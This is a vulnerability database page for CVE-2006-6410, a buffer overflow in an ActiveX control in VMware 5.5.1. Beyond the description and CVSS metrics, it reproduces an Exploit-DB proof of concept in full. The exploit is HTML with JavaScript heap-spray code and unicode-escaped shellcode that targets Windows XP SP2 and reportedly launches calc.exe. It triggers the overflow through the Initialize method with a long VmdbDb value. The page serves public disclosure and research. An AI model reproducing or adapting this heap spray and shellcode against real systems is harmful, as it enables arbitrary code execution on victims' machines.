CVE-2006-6410 Detail

CVE-2006-6410

EPSS

0.04%V3

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Local

Published

2006-12-10
01h00 +00:00

Modified

2018-10-17
18h57 +00:00

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CVE Descriptions

Buffer overflow in an ActiveX control in VMWare 5.5.1 allows local users to execute arbitrary code via a long VmdbDb parameter to the Initialize function.

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Metrics	Score	Severity	CVSS Vector	Source
V2	4.6		AV:L/AC:L/Au:N/C:P/I:P/A:P	[email protected]

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Exploit information

Exploit Database EDB-ID : 2264

Publication date : 2006-08-26 22h00 +00:00
Author : c0ntex
EDB Verified : Yes

/* ***************************************************************************************************************** $ An open security advisory #17 - VMWare ActiveX lame local overflow ***************************************************************************************************************** 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org 2: Bug Released: August 18th or so... 2006 3: Bug Impact Rate: Code execution 4: Bug Scope Rate: Local ***************************************************************************************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ***************************************************************************************************************** VMWare http://vmware.com "Revolutionize software development, testing and deployment in your enterprise with powerful virtual machine software for developers and system administrators. VMware Workstation delivers powerful virtual machine software for the technical professional." Since this is a local only for ActiveX component, it requires being emailed or distribution via some p2p file share network or p2p chat networks. Pretty useless :) */ <html> <head> <title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title> </head> <body> <center> <br> Discovered and developed by c0ntex - [email protected]<br> Visit my website at http://www.open-security.org<br> <br> <h3> This will exploit overflow and execute calc.exe on WinXP Pro SP2<br> (fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br> </h3> I have only found a bad solution to this bug. Due to the fact that<br> my controlling assembler is a call dword ptr[reg] I need to point<br> to a location I control, fine. However my payload is random pretty<br> much every run. Therefor I fill half a HUGE buffer with the address<br> (pointer) to my evil buffer, which them trampolines me to shellcode<br> <br> call ptr [reg]<br> [reg] -> 0xtrampoline<br> 0xtrampoline -> shellcode<br> <br> </center> <script> var buffa1 = unescape("%uedb0%u0d91") do { buffa1 += buffa1; } while (buffa1.length < 0x500000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x800000); buffa1 += buffa2; buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); </script> <object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744"> </object> <script language="vbscript"> VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VmdbPoll=200011744 target.Initialize VmdbDb, VmdbPoll </script> </body> # milw0rm.com [2006-08-27]